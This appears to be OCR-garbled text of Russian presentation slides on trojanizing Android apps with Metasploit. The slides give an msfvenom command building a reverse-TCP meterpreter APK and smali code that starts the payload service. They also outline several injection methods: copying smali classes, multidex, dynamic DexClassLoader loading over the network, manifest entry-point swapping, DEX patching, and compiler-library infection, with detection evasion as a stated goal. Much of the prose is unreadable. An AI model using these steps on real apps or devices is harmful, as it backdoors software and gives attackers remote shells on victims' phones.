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Co3naem payload

msfvenom -p android/meterpreter/reverse_tcp LHOST=123.123.123.123
LPORT=4444 R > malware.apk
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Komnunnaumsa koga aHgpowua npunoXeHun
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UTto Takoe smali?

.method public static startService (Landroid/content/Context;)V
.locals 2

new—instance v0, Landroid/content/Intent;

const-class vl, Lcom/metasploit/stage/MainService;

invoke-direct {v0, pO, vl},
Landroid/content/Intent;-><init> (Landroid/content/Context;Ljava/lang/Cl
ass; )V

invoke-virtual {p0O, vO0},
Landroid/content/Context;->startService (Landroid/content/Intent;)Landro

id/content/ComponentName;

return-void
.end method



[ekoanpyem apk

Cnmncok KrnaccoB Anst HXXekTa, ¢ doyHKUnMoHanom meterpreter

a.smali

b.smali

c.smali

d.smali

e.smali

f.smali

MainActivity.smali
- MainBroadcastReceiver.smali

MainService.smali

Payload.smali




BHegpesem payload

1. [ekogmpyem uenesoe nNpunoXxeHume
2. Konupyewm Knaccbl MeTepripeTepa B Nanky c Kraccamm rnpuroxeHusd




BxooHasa To4dka B MaHUMECTE

<activity android:name=
android:screenOrientation="portrait"
android:theme="(@style/SplashTheme">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category
android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>



[ NaBHbLIN aKTUBUTW LENEBOro NPUNOXeHUS

.method protected onCreate (Landroid/os/Bundle;)V

.locals 11
.param pl, "savedInstanceState" # Landroid/os/Bundle;

.prologue
const/4 v10, 0xO0
const/4 v9, 0x1

.line 28

invoke-super {p0, pl},
Landroid/support/v7/app/AppCompatActivity; ->onCreate (Landroid/o
s/Bundle; )V



Koa 3anycka payload B smali koae

invoke-static {p0},
Lcom/metasploit/stage/MainService; ->startService (Landroid/content
/Context;)V

invoke-static - BBIBEIBAEM CTATUUECKUM METOI
{vO0} - permctTp, comepxmuT Context
Lcom/metasploit/stage/MainService - mMa Hamero Kjacca

startService (Landroid/content/Context; )V
- M8 MeToIa



[ NaBHLIN aKTUBUTU LENEBOIO NPUNOXEHUS

.method protected onCreate(Landroid/os/Bundle; )V

.locals 11
.param pl, "savedInstanceState" # Landroid/os/Bundle;

.prologue
const/4 v10, 0xO0
const/4 v9, 0x1

.line 28

invoke-super {p0O, pl},
Landroid/support/v7/app/AppCompatActivity; -—>onCreate (Landroid/os/Bun
dle; )V



N3meHsiem package name y knaccoB MeTeprpeTepa

com.metasploit.stage




MwHycbl nepBoro cnocoba

KOI'II/IpOBaHI/Ie KImaCCoOB B Mariky ueneBoro npuinoxeHund

3ameHa package name
JInmut 65536 meToooB

apktool



Bropou cnocob (android multidex)

1. WVIHXeKT Bbl30Ba neunoaga B cManun Koa

2. Knacchbl He knagem B nanky smali, a nogknaasiBaem dex goaunn

META-INF
res
= AndroidManifest.xml

META-INF
res

< AndroidManifest.xml :
| classes.dex

.| classes.dex | | classes2.dex

|| resources.arsc || resources.arsc




BTopown cnocob

[1ntochl:
HeT orpaHnyeHusa Ha Konm4ecTBO METOA40B B ogHOM dex dhaune

CBou package name

MuHyCbI:
apktool

PegaktnposaHue smali koga



Tpetuin cnocob.

[nHamunyeckoe noarpyxeHme Kriiaccos Mo CETU

DexClasslLoader classlLoader = new DexClassLoader (
malware classes, , null,
getClass () .getClassLoader()) ;

Class<?> myClass = classlLoader.loadClass (



[InHamnyeckoe nogrpykeHue Kraccos

ClassLoader m



Tpetun cnocob

[1ntochbl:

1. He Hapo nogknaabiBaTb Kacchbl

2. Payload MOXHO MeHATL Ha nety

3. HeorpaHuyeHHbIM pa3mep payload’a
4. MeHee geTekTMpyemMbi MeToq
MwuHyCbI:

1. apktool

2. W3meHeHuna B smali koge



—_—

SEN

—_—

SEN

YeTBEpTbIM CNOCOD.
[TonHoueHHbIN DEX komnnnatop

NHXXeKkTnm bnbnnoTteky komnunaTtopa
NHXeKTM ckaydmMBaHMe UCXOOHMKOB MarBapu
CXOOHMKN KOMOUMUPYOTCA NMPAMO Y XXepPTBb!

[1ntochbl
Obdyckaunst NICXOOHUKOB

MeHbLnK pa3mep ckadymBaeMbIX AAHHbIX
MeHbLUE BEPOATHOCTb AETEKTA



[1aTbin cnocooO.

CyTb:
3amMeHsaeM BXOAHYH TOYKY, Ha CBOM Knacc.

B cBoem knacce 3anyckaem payload n nepenaem ynpaerneHune
OopuUrnHaribHOMYy aKTUBUTMN.



BuyHapHbIV NaTYNHT

2. 3ameHdgem nmga aktmBuTU Ha cBoe B AndroidManifest.xml
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[1aTbi cnocob

1. B cBoem MainActivity Hacnegyemcsa OT akTUBUTU MPUSTOXKEHUSA
bbino:

.class public Lcom/metasploit/stage/MainActivity;
.super Landroid/app/Activity;

Crano:

.class public Lcom/metasploit/stage/MainActivity;
.super Ltest/package/name/SplashActivity;



[1aTbin cnocoO

Bbino;

invoke-super {p0, pl},
Landroid/app/Activity;->onCreate (Landroid/os/Bundle; )V

Crano:

invoke-super {p0O, pl},
Ltest/package/name/SplashActivity;->onCreate (Landroid/os/Bundle;)
V



[1aTbin cNOCoO.

3. INatunm dex dpann apk c meterpreter

DEX_FILE_MAGIC Adler-32 Checksum SHA-1 Hash File Size Header Size Endian Constant

Link size & offset Map section offset  String ID size & offset Type ID size & offset  Proto ID size & offset

Field ID size & offset Method 1D size & offset Class Def size & offset Data size & offset

string ids type ids proto ids field s method ids class defs call site ids method handles

data link data




[1pouecc ckadmBaHUA NPUNOXKEHNN




[loameHa NnpuIioxeHund, BO BpeMA CKayviMBaHUA




